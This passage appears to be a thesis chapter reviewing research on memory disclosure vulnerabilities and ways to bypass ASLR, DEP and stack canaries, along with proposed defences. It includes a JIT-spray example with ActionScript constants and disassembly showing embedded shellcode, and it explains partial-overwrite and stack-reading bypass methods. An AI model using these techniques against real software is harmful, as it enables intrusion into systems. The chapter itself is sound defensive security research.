Diversity based software protection mechanisms are primarily based upon secrets. The effectiveness of
these measures, and so also the effectiveness of any protections which work in tandem with them, are reliant
upon an aggressor not knowing that secret. The effectiveness of ASLR is based purely upon an aggressor
not knowing any locations in a process memory. This is because knowing the location of a single known
point, can allow the offset to be calculated and so the address of other locations to be known. This can allow
an aggressor to completely bypass ASLR. As Snow et al. (2013), puts it “disclosing a single address violates
fundamental assumptions in ASLR and effectively reveals the location of every piece of code within a single
library, thus re-enabling the code reuse attack strategy”, meaning “. . . that memory disclosures are far more
damaging than previously believed”. Although ASLR is the primary target for disclosures, other secrecy
based mitigations are also vulnerable. If an attacker knows the value of a stack canary through a disclosure,
then that canary may be over-written with the correct value, bypassing that mitigation. It is possible to take
this a stage further, and state that an information leak can be essential, “on 64-bit platforms . . . ASLR can be
circumvented, but only when combined with a vulnerability that leaks information about the address space
layout“ (Bittau et al., 2014). Finding ways of bypassing ASLR is so important for many exploits, that some
current papers are starting to make the assumption that a disclosure vulnerability exists as the context for
their own work (Davi et al., 2014a). Schuster et al. (2014) justify this with links to 3 real-world exploits
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which use disclosures.
In the past disclosures were unimportant, as there were enough methods to bypass ASLR without
needing a disclosure. With time ASLR implementations have become stronger and their use more
widespread; this has meant that disclosures have grown in importance. The increasing lack of alternatives
methods of bypassing ASLR is covered later in this chapter.
It is important to realise that by allowing ASLR to be bypassed, DEP is essentially bypassed at the same
time, as code-reuse attacks are enabled. In Chapter 2, the topic of code-reuse attacks was introduced and
the pre-requisite knowledge on Return-oriented programming was presented. If an attacker does not know
the addresses that make up code gadgets, and cannot discover them, then a code-reuse attack is not possible.
It is the ability to bypass the effects of ASLR, already discussed, that enable these attacks. The ability to
bypass ASLR, along with a method of manipulating the stack, gives the ability to bypass DEP, and so to
exploit a system. For this reason Larsen et al. (2014) go as far as to claim that ASLR shifts the burden on
exploitation from code-reuse to code-disclosure.
3.4 Causes of Disclosures
Now that it is clear why disclosures are important, different methods of creating disclosures will be covered.
3.4.1 Format strings / buffers overflows, bounds checking
One of the most common issues and methods of creating a disclosure is by abusing standard C library
functions, particularly when combined with poor user input validation. Szekeres et al. (2013) has a
taxonomy of vulnerabilities that can cause memory corruption or leakage problems. Popular examples
for this include format strings (Payer and Gross, 2013; Liu et al., 2011) and buffer over-reads (Strackx
et al., 2009); however it could be possible to abuse many different memory management vulnerabilities,
such as use-after-free, double-free or poor bounds checking all of which could allow an attacker to read or
write memory addresses in a manner that was not intended by the programmer.
3.4.2 Lack of clearing information
The use of memory that has not been cleared or initialised is another popular form of forcing a memory
disclosure. This may have been done for performance reasons or because it is assumed that a user will write
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to a buffer before using it; Chen et al. (2011) list uninitialised data leading to information leakage as the
single most predominant bug in the Linux kernel.
3.4.3 Inappropriate release
Sometimes information is purposefully disclosed by a developer without realising its importance. There
are several examples of this in the CVE list, but CVE-2010-3886 (MITRE, 2012b) and CVE-2010-3886
(MITRE, 2012a) are excellent examples, in which a pointer address is used as a unique key to an object. This
is a very efficient technique by the developer as it will always be unique and free to create; unfortunately
this is used as a part of java-script libraries and is returned as part of the Document Object Model, meaning
that a calling web-page could gain valuable information about the inner memory layout of the browser. This
type of disclosure is one of the key factors that make this a difficult problem, as it is contextual in nature.
3.4.4 Forensic retrieval
Although information leaks may be a relevant part of the field of computer forensics, this thesis is limited
to the disclosure of memory in live running systems, rather than the field of attempting to garner this
information after a computer has been seized or turned off.
3.4.5 Non-Userspace disclosures
Most references to memory disclosures in this thesis refer to userspace disclosures and this is typical in the
literature, but kernel disclosures also occur and are relevant.
Information leakage from the kernel is a topic covered by a small number of researchers (Hund et al.,
2013; Heusser and Malacaria, 2010), and is commonly perceived as an issue. Chen et al. (2011) classify the
141 kernel vulnerabilities in the CVE list from January 2010 to March 2011 and place 37 under the grouping
of information disclosures; an example of this type of vulnerability is the memory disclosure CVE-2013-
2147 MITRE (2013). The contents of memory inside the kernel can be used to exploit the kernel and to
exploit user-space. This is particularly an issue with the presence of return to user-space vulnerabilities,
which are vulnerabilities which can be used by an attacker to move between kernel space and userspace
(Kemerlis et al., 2012; Hund et al., 2013). Information in the kernel, particularly on the stack, can be used
to identify userspace information, such as addressing information. As kernel-space can also be protected
though many of the same techniques as userspace, such as ASLR (Giuffrida et al., 2012), information
leakage in the kernel of addresses can have the same importance as address disclosures in user-space.
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There are some attacks which are only possible on the kernel; an example is Jurczyk and Coldwind
(2013) which uses kernel race conditions as a disclosure mechanism and identify this as an excellent
mechanism for bypassing both stack canaries and ASLR in userspace.
3.4.6 Side channel attacks
CRIT:SIDESide channel attacks are based on information which is derived from the physical implemen-
tation of the machine or algorithm; this could be power fluctuations, RF emissions or timing issues. The
IEEE category “TEMPEST” is very related to this field, but this thesis is more restricted to software based
issues. A good example of an early paper that demonstrates the pervasiveness of the possiblities behind
side-channel attacks is Bortz and Boneh (2007). This covers side channel attacks on web-sites and looks at
both direct, and cross-site timing attacks. Direct timing attacks are where a request is made directly to the
web-site and the time taken to receive the first response is recorded. The authors demonstrate how boolean
values can be disclosed, as the first use-case for direct attacks by disclosing whether a username is valid
or not, when that information is hidden from the user. Many sites will take a username and password field
and will display the same error screen if the username is invalid or the password is incorrect. As these
take slightly different code paths, measuring the time taken for the response can indicate which code path
was taken. The authors also demonstrate how direct requests can disclose the size of hidden data fields, by
making a request to a photo gallery where only one album was visible and identifiying how many hidden
albums there were by measuring the response time for different loads. As well as direct requests, cross-
site timing attacks can be used to disclose information about another users details on a 3rd party web-site.
Attackers have long been interested in using a visiting users profile to find out information on their acounts
on a 3rd party site. Fortunately, these cross-site attacks have been mostly eliminated by principles such as
the same origin policy, but it is still possible to time how long a request takes to return an error and infer
information from that. The authors use HTML image tags to make a request to a standard 3rd party web-site
URL and use the onerror handler to record how long the request took before being rejected. They use this
in a similar manner as the direct requests to determine if the user has a relationship to the 3rd party site
and can successfully identify the difference between users that are logged in to another site and those that
are not. They do this by timing how long it takes for that particular user to access two different pages, one
which requires a user log-in and one which does not. They also perform a similar attack to identify how
many items are in a users shopping basket.
Common with many side channel attacks, the authors have the problem of noise to deal with; there are
many different variables when accessing web-pages from network speeds, site usage and host processing
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factors all make this a noisy environment to identify timings from. For this reason side-channel attacks
work much better in some scenarios, such as embedded systems, than others. Even in noisy systems it is
possible to use multiple requests and use the average of timings to good effect, which is the method used in
this paper. The techniques used in this paper appear simple compared to many side-channel attacks and the
information grabbed may appear contrived, but is a good introduction to the field and it shows very clearly
how these attacks can be used in many different circumstances as well as how difficult they will be to defend
from (the only solution the authors could identify was to make all web-requests take static amounts of time).
Timing attacks found in the literature are performed in many different areas, but a common one is timing
based upon processor cache hits, a good example being Atici et al. (2013). Mitigations are sometimes
put in place to prevent side-channel attacks, but attacks are still possible (Brumley and Tuveri, 2011).
In 2014 side channel attacks were shown to be effective across virtual machines, using both XEN and
VMWare (Apecechea et al., 2014). Ristenpart et al. (2009) demonstrate this is possible across an entire
cloud infrastructure, using Amazon’s EC2 as their example. One of the biggest strengths is that they are
counter-intuitive to the ways many developers tend to think, which makes them hard to avoid. In addition,
any large scale counter measures built into the system to counter timing attacks may be difficult for an
industry where efficiency is of primary importance. Although researchers have been inventive in the ways
they can use side-channel attacks, and they have been used to disclose a large number of different areas, it
is still difficult to see how they could be used to create disclosures of memory addressing information.
3.5 Alternatives to Address Disclosures
Address disclosures are only important if they are key in identifying the location of specific information in
memory. If other methods exist to bypass ASLR then address disclosures may become irrelevant. For this
reason, this section covers other possible methods of achieving the same effect.
3.5.1 Bypassing disclosures with non-ASLRd code
The primary reason ASLR has not been as effective as possible in the past, is that there has always been
areas of code that were not affected by the randomisation. The removal of these areas, as implementations
are improved, is the main reason why address disclosures are becoming so important. An example would be
the static structures found at 0x7FFE00000 on Windows which always holds the same pointer information
(courtesy of the Blackhat presentation Serna (2012)), but these opportunities are being removed. The
excellent paper, Müller (2008) explains how static code in different areas of memory can be exploited,
25
including the heap, BSS, data and text areas of a programs layout, but many of these areas are no longer
available.
ASLR is only effective if it is implemented completely. In the literature, some authors make the
argument that a disclosure is nearly always present as, just because making executables safe is an option,
it does not mean that developers will choose to do so. This is particularly made with regards to non-
PIEd executables, where ASLR may be turned on for the operating system but the application is not
built in a manner that allows the core part of the program to use it. In Roglia et al. (2009) the author
presents an excellent paper on how non PIE’d executables can be exploited using simple ROP gadgets and
is followed up by other authors which exploit the same weakness (Larsen et al., 2014; Payer and Gross,
2013). The reason these executables or not defended as much as possible may be due to the performance
reasons demonstrated in the technical report Payer (2012); however this is specifically based upon 32-bit
architectures. The Ubuntu security Wiki, at least, suggests this would not be the case for 64bit systems
(Ubuntu, NDa).
3.5.2 Guessing and brute forcing
PAX, which was the name of the project which first introduce ASLR to Linux, was first introduced for 32
bit systems. Although this would seem to introduce a large potential variation in address, Shacham et al.
(2004) convincingly explains that this is not actually the case. As addresses are still contiguous within
a memory block, it is only the base address that needs to be guessed, not each individual location. The
implementation of PAX on a 32bit system only uses 16 bits of randomness for many of the page segments
(the stack is 24), which is only on average 32,768 guesses, which is a relatively small number and Shacham
et al. (2004) shows that it is feasible to exploit a vulnerability on Apache in this way. The situation can be
even worse on Windows with even Windows 7 being limited to only 256 possibilities (Shioji et al., 2012).
Although it is sometimes argued that a change to 64 bit systems will prevent this attack, Otterstad (2012)
argue that this is not necessarily the case.
3.5.3 Heap spraying
Heap spraying is a technique for maximising the possible number of locations that executable code could be
found at, by injecting large number of copies of the shell-code and by ensuring that each buffer is extremely
large. If the buffer is full with the NOP op-code, which would mean that the majority of the buffer would
26
become executable, then there is a very high chance that an attacker would be able to guess a valid address.
This attack is particularly prevalent on Web-browsers as the JavaScript engines have the ability to create
very large buffers dynamically, so they are hard to detect, and to store these in a large number of arrays.
Heap spraying is a method of bypassing ASLR and not a method bypassing DEP, as it still relies upon
executing code on the heap; but there are times when DEP is not enabled which still makes this attack
useful. There are already mitigations against heap sprays; one category of which attempts to detect the
shell-code (Egele et al., 2009), unfortunately this can be difficult due to the ability to obfuscate code in the
JavaScript engine (Snow et al., 2011) . The other mitigation category are those which attempt to detect the
series of NOP op-codes which typically make up the first part of the sprayed code, an example is the Usenix
conference paper Ratanaworabhan et al. (2009). As a response Ding et al. (2010) demonstrates that a large
NOP sled is not necessary. According to the Microsoft paperRose (2011), mitigations against heap sprays
have been included in EMET.
Crit:JITA variation on the heap spray is the JIT-spray, introduced in Blazakis (2010). This paper covers
two different techniques, pointer inferencing and JIT-Spraying both of which deal with storing and locating
code in scripting environments. The JIT-spray is similar to the heap spray except that it uses a quirk of the
way that scripting languages tend to store code after it has been executed. The JIT compiler converts a script
into executable code at ”run-time” and the authors show that the generated code is both predictable and
must re-use any supplied constants in the generated code. Due to this insight they show that an exploitable
sequence can be generated using these constants. The example given in the paper is walked through below:
In the ActionScript language used by Adobe, the code below declares a variable and populates it:
var y = ( 0x3c54d0d9 ˆ 0x3c909058 ˆ 0x3c59f46a ˆ 0x3c90c801 ˆ 0x3c9030d9 ˆ 0x3c53535b)
This code is a sequence of constants which are XORed together. After being compiled, this results in
the machine code shown in table 3.1.
As discussed earlier, machine code executed at a different offset will give a completely different set of
instructions and the code above, if executed from address 0x0347006A will give the code in table 3.2 which
is a method, commonly found in shellcode, for getting the program counter .
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Address Raw Data Instructions
03470069 B8 D9D0543C MOV EAX,3C54D0D9
0347006E 35 5890903C XOR EAX,3C909058
03470073 35 6AF4593C XOR EAX,3C59F46A
03470078 35 01C8903C XOR EAX,3C90C801
0347007D 35 D930903C XOR EAX,3C9030D9
03470082 35 5B53533C XOR EAX,3C53535B
Table 3.1. A code listing generated by a static XOR sequence in ActionScript
Address Raw Data Instructions
0347006A D9D FNOP
0347006C 54 PUSH ESP
0347006D 3C 35 CMP AL,35
0347006F 58 POP EAX
03470070 90 NOP
03470071 90 NOP
03470072 3C 35 CMP AL,35
03470074 6A F4 PUSH -0C
03470076 59 POP ECX
03470077 3C 35 CMP AL,35
03470079 01C8 ADD EAX,ECX
0347007B 90 NOP
0347007C 3C 35 CMP AL,35
0347007E D930 FSTENV DS:[EAX]
Table 3.2. A code listing generated by a static XOR sequence in ActionScript
As ActionScript allows these objects to be created dynamically, they can be created in mass, in the same
manner as typical heap spray injections. This insight is an elegant one and, as it is likely that other engines
use similar methods of storing generated code and scripting environments often allow for execution of
untrusted scripts, this could be an extremely powerful method of generating shell-code which would be
stored in executable memory pages. The strongest disadvantage to this technique is likely to be that,
although there are a large number of instances of scripting engines used, there are only a relatively few
different engines and so, if a solution is found to this problem it should be able to be deployed reasonably
quickly.
One proposed solution to this problem is ”JITSafe” which is suggested in Chen et al. (2013) and is
worth covering in more detail. JITSafe is a combination of three different factors, value elimination, code
obfuscation and enabling of W⊕X, all which are designed to make JIT-Spraying more difficult. The value
elimination function involves storing the constant values in heap memory and then accessing this via a
register. This eliminates the direct translation from constant values so where the line ”y = xˆ0x3C909090”
would have been translated into XOR, EAX 3C909090 (assuming the same Flash engine as was used in
the paper) it would now be translated into MOV REG, (MEM) and XOR EAX, REG. This assumes the
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value 0x3C909090 is stored in the memory address MEM. The reason REG is used rather than a specific
register is because of the next function of JITSafe, code obfuscation. The code obfuscation function is
an attempt to make the code produced less predictable, the first part involves randomly choosing which
register is used to store the value, and the other part is that MEM is randomly chosen; together these mean
only 2 bytes are deterministic which makes it extremely difficuly to use as gadgets. The final function of
JITSafe is the enabling of W⊕X. It does this by setting the code page to non-executable and re-enabling the
executable setting for just the period of time that particular code is being executed. The authors evaluated
the overhead caused by these measures as 2.8% which is not insignificant. They counter this by proposing
that only W⊕X is turned on by default, but as they also explain how the timing window can be extended to
effectively mitigate against that measure, this shows this is not the perfect solution. In addition, it his hard
to see how the randomisation measures would not be countered by a memory disclosure, or just through
pure probabilistic chance. It is likely however that techniques will keep on being proposed to limit the affect
of JIT-Spraying and so they are unlikely to remain so common as to eliminate the necessity for memory
disclosures.
3.5.4 Partial overwrites
Partial overwrites is a clever technique first introduced in the Phrack article “Bypassing PaX ASLR
protection” (Durden, 2002) but is also discussed in Shioji et al. (2012) and the Usenix conference paper
Bhatkar et al. (2003). It involves over-writing part of an address but leaving the rest. The principle is that
ASLR implementations typically do not use the full address range because of optimisation reasons. As
explained in Shioji et al. (2012), Windows 7 32 bit, only randomises the bits 17-24. This means given the
address:
0x12345678∗
There will still be elements known in the address after randomisation (R represents the randomised
byte).
0x12RR5678
The value 5678 will be static for all executions of the program. Given an example of shell-code being
placed 120(hex) bytes away on the stack at:
∗the 0x only signifies this is a hex address
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0x12RR5798
It should be clear that it is only necessary to overwrite the least significant two bytes. This may be
enough for some exploits, but the situation is magnified on architectures where little-endian is used to store
the pointer values. In little endian the address is stored lower bytes first, so the above example would be:
0x9857RR12
This means a buffer overflow type attack would only need to overwrite the first two bytes of the address
to bypass the ASLR issue. Although this may be a valid method of bypassing ASLR, the requirements of
having the desired address close to the existing return address and having the ability to perform the partial
overwrite, limits it application.
3.5.5 Stack reading
Bittau et al. (2014) introduces a technique to infer an address disclosure without having a disclosure
vulnerability. It requires both a service that restarts after a failure and a stack overflow vulnerability which
allows different lengths of overflow. The technique works by progressively overwriting single bytes until
the program works. Execution 1 may overwrite the first byte on the stack with a 1; If this is correct the
program will continue with its execution, if it is false the program should stop and restart. As each byte
has only 256 possibilities it takes on average 128 attempts to identify each byte. The authors use this on
64 bit Linux on executables with PIE enabled. It is highly unlikely that any generic technique to identify
address disclosures will be able to spot this particular vulnerability, as the address is never returned to a
user, fortunately, the circumstances required to enable this particular exploit are very specific. This is a
similar scenario to those required to brute-force the stack as suggested in Shacham et al. (2004) and used in
Day and Zhao (2011).
3.6 The Future Relevance of Address Disclosures
When discussing the importance of disclosures it is important to consider their future relevance. There have
been many proposals and much research performed on techniques to halt the effectiveness of the different
exploitation techniques that disclosures enable; the effect of these could either make this research more
effective or make it moot. The following section looks at three of the major developments that may affect
the importance of disclosures.
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3.6.1 Improved ASLR implementations
The current importance of address disclosures has been limited by the extent of ASLR implementations and
the ability for attackers to bypass these. As these implementations harden and ASLR becomes implemented
on a wider range of platforms, the importance of disclosures as a method of bypassing it, is only likely to
increase.
As this section relates to actual implementations of ASLR, rather than academic ideas, many of
the sources will be from non-traditionally academic sources, this is being highlighted now rather than
mentioning it each time.
Implementations of ASLR have not stood still, but have evolved and keep evolving. On Windows
address randomisations starts in XP SP2, with randomisation of the location of the Process Execution
Block (PEB) and the Thread execution Block (TEB). A fuller implementation comes with Vista with
randomisation of the heap, stack and images blocks, but this was only enabled if the program opted-in
at compile time and had suffered with limited entropy (Whitehouse, 2007; Sotirov and Dowd, 2008). With
Windows 7, the force ASLR option ensured ASLR was applied even if a program had not opted in, where
it was possible. As this can cause compatibility options, this option is not used by default, but versions
of critical software, such as Explorer 10 and Office 2013 had this option enabled (Team, 2012). With
Windows 8, Microsoft improved the implementation of ASLR to increase the amount of entropy used to
randomise the address space. In addition, new areas of memory were randomised such as those created with
the VirtualAlloc() and VirtualAllocEx() commands (Microsoft, 2013a).
Windows is typical in its evolution and hardening of its ASLR implementation. As ASLR
implementations improve, the ease with which an attacker can bypass them decreases and so disclosures
become more important. ASLR is now implemented in all major operating systems, including mobile
phones; however the effectiveness of implementation still varies. In 2011 implementing ASLR on mobile
platforms was still only a research question (Bojinov et al., 2011), however by the end of that year Windows
7 and iOS both had ASLR turned on by default (Miller, 2011).
Crit:Android Even if ASLR is implemented on a system, it does not mean that it is effective. Lee
et al. (2014) demonstrate limitations in the Android implementation of ASLR. Android applications run
in a custom virtual machine called the Dalvik Virtual Machine which executes the program in the form
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of bytecode. Every application runs in its own virtual machine, which has many advantages, but has the
problem that it requires the expensive process of creating new virtual machines every time an application is
launched. To minimise this overhead (which took 3.5 seconds per application load in the authors tests), the
Android designers took the decision to create a single instance of the virtual machine at load time and then
to copy that instance for every application. This speeds up the loading of applications, but has a serious
effect on the security of those applications, as each process will inherit the memory layout of its parent.
The system is designed to allow some sharing of memory pages, to save memory, but this design decision
has the added effect that both system procesess and applications are always held in the same place, as
they are copies of a single original process. This significantly reduces the affect of ASLR as there is no
randomisation between instances. This means that an attacker who has control of an Android phone and
wishes to compromise application A, can use an address disclosure from vulnerable application B to do so.
The authors propose a solution to this problem where, rather than creating a single process at startup and
cloning that process as a new copy is required, they use intermediary processes which are created ahead of
time. These processes, called Morula processes, are optimised in several different ways. The first is that
the pool of processes is mostly created during unoccupied system time, to limit the amount of overhead,
the next is that the number of classes pre-loaded by the application was drastically reduced based upon the
authors profiling of application requirements. The final optimisation was a more selective approach to the
areas of memory where ASLR was applied. The authors claim that the combination of these methods give
an effective form of ASLR with an overhead of 18MB per application. The issue raised in the paper appears
to be a valid one, and well worth identifying for the community. The effectiveness of the solution proposed
may be more difficult to judge. This issue is only a problem for phones which are already compromised, it
is not an issue for the remote exploitation of phones. This means it may not be considered optimal to reduce
the performance of a phone against a lower risk attack, especially where RAM is an expensive resource on
phones and lots of applications can be loaded simultaneously. Possibly the most important point made in
this paper is that it should not be assumed that, just because ASLR is effective in an operating system such
as Linux, it will be effective in child systems such as Android.
Although it is possible that embedded systems may start to implement more prophylactic measures in
the future, this has not yet been widely adopted, but as the cost of exploitation of coming technologies such
as smart electric meters could cost companies billions of dollars this may change (McLaughlin et al., 2010).
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3.6.2 Increase in diversification mitigations
We have already mentioned ASLR and stack canaries in this thesis, but these are not the only diversity based
mitigations that are possible, they are merely the most common in popular use. As a general principle, the
problems with a software mono-culture are well documented (Just and Cornwell, 2004; Williams et al.,
2009) and an increase in diversification measures is likely, although not necessarily as beneficial as it may
appear (Evans et al., 2011). With the advent of the app-store and JIT compilation, creating and distributing
a unique version of each application is now a more feasible proposition than before (Franz, 2010; Homescu
et al., 2013a), but most diversification techniques involve run-time randomisation of different program
properties. Early proposed measures include Bhatkar et al. (2005) which proposes using source code
transformations to make programs self-randomising at runtime (an idea revisited and updated in Wartell
et al. (2012)) but with the success of ASLR, many proposed methods are extensions of ASLR or the
application of these principles to different areas.
Current implementations of ASLR are quite course grained, in that it is only the base address of modules
that is randomised and one popular suggestion involves finer grained implementations of ASLR. With finer
grained ASLR the address space is typically randomised within blocks, as well as randomising the location
of blocks. Davi et al. (2013) has a list of ideal properties for finer grained ASLR solutions and compares
different implementations against these properties. However, Snow et al. (2013) convincingly demonstrates
that memory disclosures can still be used to bypass finer-grained ASLR solutions as well.
As well as addresses, authors have considered extending this principle to randomising the code that
gets executed, this is referred to as Instruction Set Randomisation (ISR) and was originally suggested in
(Kc et al., 2003). The idea is that the instruction set to be executed is randomised, meaning that unless an
attacker also knows the randomisation algorithm, any code that is injected will be invalid. Under this system
the instruction set can include scripting languages, machine code or dynamically interpreted languages such
as SQL. Wholesale adoption of ISR has also been suggested to prevent execution of non-officially installed
applications (Portokalidis and Keromytis, 2011). Instruction Set Randomisation has not been adopted on
any large scale, and, although there are other attacks against it (Sovarel et al., 2005), as a probabilistic
diversification measure it is likely to be vulnerable to information disclosures.
A third area considered in the literature, is the randomisation of the contents of memory objects. An
early attempt at this was detailed in PointGuard (Cowan et al., 2003), where pointers where encrypted by
XOR-ing the values with a random key. This method is still vulnerable to memory disclosures if a single
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encrypted value and its corresponding plaintext value can be found. A more complex solution was later
introduced in the form of dataspace randomisation (DSR). Introduced in Bhatkar and Sekar (2008), although
data randomisation (Cadar et al., 2008) is very similar, DSR attempts to protect memory by randomising
the contents of each variable and pointer stored in memory. This is done as a source code transformation
which uses a different mask for each memory object and using the XOR operation on the mask and object
before each use of that object. As each object is obfuscated using a different mask, a memory disclosure
which identified an object, would be of no help in un-obfuscating other objects, as the mask would be
different. This makes it non-trivial to exploit using simple memory disclosures; indeed, according to
Szekeres et al. (2013), “The only policy beyond Memory Safety that might mitigate information leakage is
full Data Space Randomization”. There are other similar solutions based upon these ideas, Iyer et al. (2010)
suggest randomisation of stack frames in memory, Gupta et al. (2013) splits a program into blocks of code
and then randomises the location of those blocks and Homescu et al. (2013b) profiles the code to decide
where to insert NOP statements to alter memory locations of code.
Crit:ISLAn interesting variation on these is Hiser et al. (2012) which randomises the location of every
instruction in memory and claim this makes a program impervious to the effect of memory disclosures. The
technique proposed involves re-writing all code to be executed so that each instruction can be placed in
random areas of memory. The instructions are chained together using a virtual machine and a lookup table
called the fallthrough map, which holds where addresses are relocated to. Table 3.3 shows a re-working of
the example given in the paper.






7000 cmp eax, #24 39bc cmp eax, #24
39bd d27e
7001 jeq 7005 d27e jeq 7005
d27f cb20
7002 call 7500 cb20 call 5f32
cb21 call 67f3
7003 mov [0x8000], #0 67f3 mov [0x8000], #0
67f4 a96b
7004 add eax #1 224a add eax #1
224b 67f3
7005 ret a96b ret
Table 3.3. This shows the layout of a section of a program after program re-writing.
It can be seen that, after re-writing, an address is posted after each command. This is refered to as
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the fallthrough address and when the program is executed this is translated as a jump to that location in
memory. A list of all of the places where a substition is to be made is held in the executing engine and
are randomised at program start-up. In this manner every instruction can be held at a unique location and
the program can still execute correctly. There are several difficulties involved in doing this; the first is
identifying which bytes in memory are valid code instructions and which are data. To do this, the authors
revert to using static analysis, using a combination of different reverse engineering and dissembling tools.
In addition to identifying instructions, the identity of call functions is also determined, as this will enable
the randomisation of the return addresses. The final part of the pre-execution phase is identifying indirect
branch targets. Indirect branches are jump instructions where the address is stored as the contents of a
memory address and so is extremely difficult to identify using static analysis. As a result of this problem
the authors use a heuristic to identify memory which looks as if it could contain a pointer. The authors
admit that this heuristic does not work all the time (they have a work-around for some instances) but claim
that, together with the workarounds, it appears to work for all code generated from higher level languages.
This paper demonstrates just how far randomisation can be taken if required, but how practical or
acceptable it would be is a different question. This paper is a prototype and does not work under some
circumstance. Areas such as JIT-Compililation and dynamically generated code are compatible with the
idea even if not this particular implementation, so this is not a problem. Other areas, such as the use of
self-modifying code and certain branch conditions may prevent the technique from working at all, but this
should not be considered to be a fatal issue as it is feasible that the technique could only be applied to
those applications which ’opted-in’, in the same manner as ASLR was during early implementations. The
complexity of the process requried to instrument the application can be seen as drawback to the technique;
reverse engineering is a process which can be fraught with issues and may introduce more software faults
than it cures. Another concern is the performance overhead, the authors state ”ILR achieves average
performance overhead of only 13-16%, which makes it practical for deployment”. That this overhead is
acceptable is an assumption that may not hold, the technical report Payer (2012) suggest that PIE is not
implemented in many instances due to a performance overhead of an average of 10%. More importantly
may be the overhead for the most extreme cases, which the authors do not give. The assertion that this makes
disclosures ”infeasible’ is primarily based around the addresses being stored in the lookup table, which is
accessed by the virtual machine rather than the executing processes. This argument has some validity, it
does not make disclosures any less likely, but may affect how usefull they prove to an attacker. Given the
rather early stage of this technique, it should not be considered as an argument against the importance of
disclosure vulnerabilities.
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For more information on these techniques and their effectiveness the interested reader might enjoy Han
et al. (2014); Evans et al. (2011) and the tech-report Okhravi et al. (2013). There are many interesting
techniques which have been proposed, but many of these will promote the importance of disclosures as a
disclosure will be more necessary as a means to bypass these measures. Of the techniques which claim to
be impervious to the effects of disclosures, only time will tell if they gain wide-spread adoption and how
ingenious authors are able to bypasses them.
3.6.3 Future effectiveness of code-reuse attacks
As one of the primary uses of disclosures is to bypass ASLR in order to enable code-reuse attacks, the
future effectiveness of disclosures is also linked to the future effectiveness of code-reuse attacks, and the
research attached to that.
One field of research has been to eliminate the gadgets in programs that ROP requires, particularly by
eliminating the methods of chaining the gadgets together with RETN type instructions. This is the path
taken in Onarlioglu et al. (2010) and Li et al. (2010).
Crit:JumpTo bypass these mitigations researchers have developed methods where the traditional Return
types sequences are not necessary. Examples of this include Bletsch et al. (2011) and Checkoway et al.
(2010) who both demonstrate how an attacker can use return oriented programming without using any
returns. The idea is that by eliminating the RETN statements, all of the control flow techniques which work
by monitoring, restricting or eliminating the use RETN statements are immediately bypassed. As already
shown, Return oriented programming attacks make use of the RETN instruction which acts by retrieving
the next address from the stack, setting the execution to that pointer and moving the stack pointer to the next
address. The insight in Bletsch et al. (2011) is that it is not only RETN statments that can be used in this
manner, but can be replaced with an ”update-load-branch” sequence. This can be of the form ”Get the next
entry from the stack and put it into register x. Jump to the contents of x” which in x86 terminology is ”pop
x; jmp*x”. As these sequences are not nearly as common as RETN sequences, this may not be enough
on its own to create a Turing complete environment on its own, the authors turn to the use of trampolines
to extend the feature set to be a Turing complete one. To do this, they first identify a single ”update-load-
branch” sequence and store the address of this in a register such as y. After this any instruction which ends
in a ”jump to the contents of y” will indirectly perform the ”update-load-branch” and so effectively be a
RETN instruction, but without having to use a RETN instruction. This effectively and clearly demonstrates
that any measure which relies upon the use of RETN instructions can be bypassed by an attacker at almost
no cost. As any of these measures would themselves have an overhead (sometimes not inconsiderable), this
makes this whole class of defence irrelevant.
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Bletsch et al. (2011) has a similar aim, but not only eliminates the use of the RETN instruction, but
the use of the stack as a controlling structure. Rather than using indirect branches back to the next address
on the stack, it holds its own list of addresses (which it calls the dispatch table) and has a gadget which
iterates over this list, executing each entry in turn (this is referred to as the dispatcher). Each of these entries
represents a piece of code functionality which performs a function and then must return to the dispatcher,
which it can do using similar direct or indirect braching as discussed already. In this manner an exploit can
chain together multiple pieces of functionality in a reasonably simple manner without using any of the stack
based infrastructure and so would bypass any defence mechanism based upon monitoring stack usage, as
well as any defence based upon RETN functionality. As a method of eliminating the use RETN, this is not
as clean or simple as the Bletsch et al. (2011) method, particularly as it has a relience upon a more complex
initialisation to setup the registers which would hold the addresses of the dispatcher and the dispatch table.
As a method of eliminating the relience upon the stack it shows that this is clearly possible, however any
technique which could eliminate the relience upon the stack has other advantages other than just making
ROP attacks more difficult, as there are so many stack based vulnerabilties which can be used to initiate an
attack. Together these two papers demonstrate that any technique whose main aim is to prevent code-reuse
attacks should not be reliant upon those techniques using either the stack or RETN instructions.
Another area of research is that of dynamic monitoring defences. Davi et al. (2009) and (Chen et al.,
2009) are both examples which monitor the number of returns in a program block and compares this to
an expected norm. With the introduction of techniques such as Jump Oriented Programming, branch
measuring techniques which do not require returns have been devised (Cheng et al., 2014). KBouncer
(Pappas et al., 2013) has had some success in this field particularly in its use of processor features to
optimise this process. The Usenix conference paper “Size Does Matter” (Göktaş et al., 2014) discusses the
difficult job of optimising these algorithms for accurate detection.
There are more generic anti-exploitation methods which have been proposed, which would also prevent
or limit the use of code-reuse attacks. Control flow integrity is a field which, if it was to prove successful,
could eliminate code-reuse attacks by removing the ability of an attacker to alter a programs flow. First
suggested in Abadi et al. (2005), the field involves ensuring that programs only execute along the program
paths intended by the developer, by creating a control flow graph from compiler generated information and
ensuring that the program only follows paths in that graph. It is a technique that has been applied to both
userspace processes and in the operating system kernel (Criswell et al., 2014) but it has not been widely
implemented (Philippaerts et al., 2011), primarily due to the perception of it being difficult to implement
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and inefficient (Zhang et al., 2013). More limited variations have been proposed but many of these already
have bypasses (Göktas et al., 2014). The Usenix conference paper Davi et al. (2014b) has an excellent
summary of the most recent ROP and CFI protection mechanisms, including those just being released in
Windows (Microsoft, 2014) and how most can be bypassed with the aid of address disclosures.
Similarly to control flow integrity, the use of shadow stacks aims to eliminate an attackers ability to
redirect code to areas not intended by the user. This is done by storing a copy of sensitive information
such as return addresses in a separate memory area. This is used to verify the integrity of the original
information on the call stack when it is used (Davi et al., 2011; Sinnadurai et al., 2008). Unfortunately
shadow stack implementations also suffer from non-trivial implementation costs and have not been widely
adopted, although research continues in this field (Solanki et al., 2014).
Even if a method was created to limit the use of ROP attacks, this may not be completely successful as
attacks do not always need to be completely executed using gadgets. A common use of ROP is to disable
DEP completely for the calling process by calling the function SetProcessDEPPolicy(), or by calling other
unsafe functions, such as virtualAlloc and MemCopy, which would then allow the execution of shell-code
(Prandini and Ramilli, 2012), meaning that only enough gadgets are required to disable DEP, rather than to
perform the whole exploit.
Microsoft have started to integrate ROP mitigations into the operating system. The Microsoft Enhanced
Mitigation Experience Toolkit (EMET) is provided to allow users to add and configure security mitigations,
